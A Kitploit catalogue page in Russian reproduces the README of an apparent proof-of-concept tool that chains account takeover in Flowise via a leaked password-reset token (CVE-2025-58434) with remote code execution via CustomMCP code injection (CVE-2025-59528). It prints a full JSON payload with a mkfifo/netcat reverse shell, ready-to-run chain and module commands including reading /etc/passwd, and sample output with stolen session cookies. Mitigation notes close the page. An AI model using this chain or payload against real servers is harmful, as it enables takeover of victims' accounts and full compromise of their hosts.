Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-58434-AND-59528-POC — Combined PoC for CVE-2025-28434 and CVE-2025-59528 | Kitploit
Инструменты/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationRemote Access ToolPayload Development

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

Combined PoC for CVE-2025-28434 and CVE-2025-59528

Репозиторий
194 месяцев назадЕщё не проверено

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Только для образовательных целей и авторизованных исследований безопасности.
Запуск этого инструмента против систем, которыми вы не владеете или для тестирования которых у вас нет письменного разрешения, является незаконным.


Содержание

  • Обзор
  • Детали уязвимостей
    • CVE-2025-58434 — Перехват учётной записи
    • CVE-2025-59528 — Удалённое выполнение кода
  • Полная цепочка атаки
  • Затронутые версии
  • Структура репозитория
  • Требования
  • Установка
  • Использование
    • Поведение по умолчанию
    • Экран справки
    • Режим цепочки
    • Модуль — ATO
    • Модуль — Login
    • Модуль — RCE
  • Справка по флагам
  • Обратный шелл против пользовательской команды
  • Пример вывода
  • Устранение уязвимостей
  • График раскрытия
  • Ссылки
  • Отказ от ответственности

Обзор

Этот репозиторий объединяет две критические уязвимости в Flowise в единый модульный PoC-инструмент.

Две уязвимости естественным образом объединяются: CVE-2025-58434 предоставляет неаутентифицированный перехват учётной записи, что удовлетворяет требованию аутентификации для CVE-2025-59528 — достигая неаутентифицированного RCE в одном автоматизированном запуске.


Детали уязвимостей

CVE-2025-58434 — Перехват учётной записи

Корневая причина: Конечная точка forgot-password возвращает токен сброса пароля (tempToken) непосредственно в теле HTTP-ответа вместо отправки только по электронной почте.

Шаги атаки:

  1. POST /api/v1/account/forgot-password с любым зарегистрированным email
  2. Прочитать tempToken из JSON-ответа — доступ к почте не требуется
  3. POST /api/v1/account/reset-password с утёкшим токеном → установить новый пароль
  4. Войти в систему как жертва

Утёкший ответ (сокращён):

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 — Удалённое выполнение кода

Корневая причина: Узел CustomMCP передаёт предоставленный пользователем mcpServerConfig непосредственно в конструктор Function() в JavaScript без санитизации. Поскольку Flowise работает в Node.js, внедрённый код имеет полный доступ к child_process, fs и всем встроенным модулям Node.js.

Уязвимый путь кода:

root@kitploit:~
POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← несанитизированный пользовательский ввод

Необходимые заголовки:

root@kitploit:~
Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

Полезная нагрузка по умолчанию (обратный шелл):

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

Примечание: Полезные нагрузки обратного шелла используют cp.exec() (асинхронно / "запустил и забыл"), поэтому HTTP-запрос завершается немедленно и инструмент не таймаутится. Обычные команды используют cp.execSync() и возвращают вывод встроенно.


Полная цепочка атаки

root@kitploit:~
Attacker                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← token утёк в ответе
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken очищен)           │  ← ATO завершён
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← cookies извлечены
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() срабатывает в фоне]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   Слушатель nc атакующего ←────────────── Сервер подключается обратно
   ✓  Полный RCE с нулевыми учётными данными

Затронутые версии

КомпонентСтатус
Flowise Cloud (cloud.flowiseai.com)Затронут CVE-2025-58434
Flowise самост. хостинг (все версии до патча)Затронут обеими CVE

Проверьте официальные уведомления безопасности Flowise для номеров исправленных релизов.


Структура репозитория

root@kitploit:~
flowise-dual-cve-poc/
├── flowise_poc.py      # Основной PoC — все модули + режим цепочки
├── requirements.txt    # Зависимости Python
├── README.md           # Этот файл
└── DISCLAIMER.md       # Полное юридическое уведомление

Требования

  • Python 3.7+
  • Библиотека requests

Установка

root@kitploit:~
git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

Использование

Поведение по умолчанию

Флаг режима не требуется. Если вы запускаете скрипт без --chain или --module, он автоматически запускается в полном режиме цепочки. Полезная нагрузка RCE по умолчанию — обратный шелл — просто укажите --lhost и --lport.

root@kitploit:~
# Минимальный вызов — полная цепочка + обратный шелл
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

Запустите свой слушатель перед выполнением:

root@kitploit:~
nc -lvnp 4444

Экран справки

root@kitploit:~
python3 flowise_poc.py -h

Режим цепочки

Выполняет все четыре шага от начала до конца: утечка токена → сброс пароля → вход → RCE.

root@kitploit:~
# Обратный шелл (полезная нагрузка по умолчанию)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# Пользовательская команда вместо обратного шелла
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# Пользовательский пароль ATO + обратный шелл
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

Модуль — ATO

Утечка tempToken и сброс пароля учётной записи. Останавливается перед входом/RCE.

root@kitploit:~
# Новый пароль по умолчанию
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# Пользовательский новый пароль
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# Вывод сырого JSON-ответа
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

Модуль — Login

Аутентификация и извлечение трёх сессионных cookies для ручного использования.

root@kitploit:~
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# JSON-вывод для скриптов
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

Модуль — RCE

Выполнение на сервере. Автоматический вход, если не указан --token.

root@kitploit:~
# Обратный шелл — автоматический вход
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# Пользовательская команда — автоматический вход
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# Ручной токен — обратный шелл
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# Все три cookies вручную
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

Справка по флагам

Режим (все необязательны — по умолчанию --chain)

ФлагОписание
--chainПолная цепочка: ATO → Login → RCE
--module atoТолько перехват учётной записи

Цель

ФлагКороткийОписаниеОбязательный
--url-uБазовый URL экземпляра Flowise

Параметры ATO

ФлагКороткийОписаниеПо умолчанию
--new-password-pПароль, устанавливаемый на учётную запись жертвы после ATOFlowise@Pwn3d2025!

Параметры аутентификации

Параметры RCE

Разное

ФлагКороткийОписаниеПо умолчанию

Обратный шелл против пользовательской команды

Скрипт автоматически выбирает правильный режим выполнения:

Асинхронное выполнение означает, что HTTP-запрос завершается мгновенно — никаких ошибок таймаута при полезных нагрузках обратного шелла.


Пример вывода

root@kitploit:~
  [Step 1] [CVE-2025-58434] Запрос токена forgot-password ...
  [*] HTTP 201
  ────────────────────────────────────────────────────────────────────
    УТЁКШИЕ ДАННЫЕ УЧЁТНОЙ ЗАПИСИ
  ────────────────────────────────────────────────────────────────────
  tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
  tokenExpiry   : 2026-04-13T05:14:17.621Z
  ────────────────────────────────────────────────────────────────────
  [+] УЯЗВИМО — токен раскрыт без аутентификации!

  [Step 2] [CVE-2025-58434] Сброс пароля → Flowise@Pwn3d2025!
  [*] HTTP 201
  [+] Сброс пароля УСПЕШЕН (tempToken очищен)
  [+] Перехват учётной записи завершён → [email protected] / Flowise@Pwn3d2025!

  [Step 3] [Auth] Вход для извлечения сессионных cookies ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    ИЗВЛЕЧЁННЫЕ СЕССИОННЫЕ COOKIES
  ────────────────────────────────────────────────────────────────────
  token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
  ────────────────────────────────────────────────────────────────────

  [Step 4] [CVE-2025-59528] Выполнение RCE через CustomMCP ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    РЕЗУЛЬТАТ RCE
  ────────────────────────────────────────────────────────────────────
  Mode    : Reverse Shell
  LHOST   : 10.10.16.35
  LPORT   : 4444
  [+] Полезная нагрузка обратного шелла сработала!
  [!] Ожидание подключения на 10.10.16.35:4444 ...
  [!] Убедитесь, что ваш слушатель запущен: nc -lvnp 4444
  ────────────────────────────────────────────────────────────────────
  [+] ЦЕПОЧКА ЗАВЕРШЕНА

Устранение уязвимостей

Для CVE-2025-58434

  • Никогда не возвращайте токены в API-ответах. Отправляйте tempToken только на зарегистрированный email.
  • Возвращайте общее сообщение об успехе независимо от того, существует ли email (предотвращает перебор).
  • Сделайте токены одноразовыми, с коротким сроком действия (≤15 мин) и привязанными к контексту запроса.
  • Ограничьте частоту запросов к конечной точке forgot-password.

Для CVE-2025-59528

  • Никогда не передавайте пользовательский ввод в Function(), eval() или vm.runInThisContext().
  • Разбирайте mcpServerConfig только как данные (например, JSON.parse()) — никогда не выполняйте его.
  • Если требуется динамическое вычисление, используйте изолированную песочницу с ограниченным контекстом.
  • Примените строгую проверку ввода и белый список разрешённых ключей конфигурации.

Общие

  • Обновите как облачные, так и самостоятельно развёрнутые установки.
  • Включите логирование и оповещение о сбросе пароля и конечных точках node-load-method.
  • Рассмотрите MFA для всех учётных записей администраторов.

График раскрытия

ДатаСобытие
2025-08-19CVE-2025-58434 обнаружена и сообщена
TBDCVE-2025-59528 обнаружена и сообщена
TBDПодтверждение вендора

Ссылки

  • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
  • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
  • Flowise GitHub
  • CWE-640: Механизм восстановления пароля со слабой защитой
  • CWE-94: Некорректный контроль генерации кода

Отказ от ответственности

Только для образовательных целей и авторизованного тестирования на проникновение.
См. DISCLAIMER.md для полного юридического уведомления.

Скачать инструмент
CVE-2025-58434CVE-2025-59528
ТипПерехват учётной записиУдалённое выполнение кода
Требуется аутентификацияНетДа (любая действительная учётная запись)
CVSS9.8 КритическийКритический
ЗатронутыОблако + Самостоятельный хостингСамостоятельный хостинг
--module login
Только вход и извлечение cookies
--module rceТолько RCE
Всегда
--email-eЦелевой / для входа emailВсегда
ФлагКороткийОписание
--login-password-PПароль для модуля входа / автоматического входа в RCE
--token—Ручное указание cookie token (пропускает вход)
--refresh-token—Ручное указание cookie refreshToken
--connect-sid—Ручное указание cookie connect.sid
ФлагКороткийОписаниеПо умолчанию
--lhost—IP атакующего для обратного шелла—
--lport—Порт атакующего для обратного шелла—
--command-cПользовательская команда ОС (переопределяет revshell)id если нет lhost/lport
--timeout-tHTTP таймаут (секунды)15
--json-output-jВывод сырых JSON-ответовfalse
СценарийИспользуемая полезная нагрузкаПоведение HTTP
--lhost + --lport (без -c)mkfifo netcat one-linercp.exec() — асинхронно, возвращается немедленно
-c "..." содержит nc/mkfifo/bash -iраспознаётся как revshellcp.exec() — асинхронно, возвращается немедленно
-c "id" или любая другая обычная командапользовательская командаcp.execSync() — блокируется, возвращает вывод
нет -c, нет --lhostidcp.execSync() — блокируется, возвращает вывод
TBDВыпущен патч
TBDПубличное раскрытие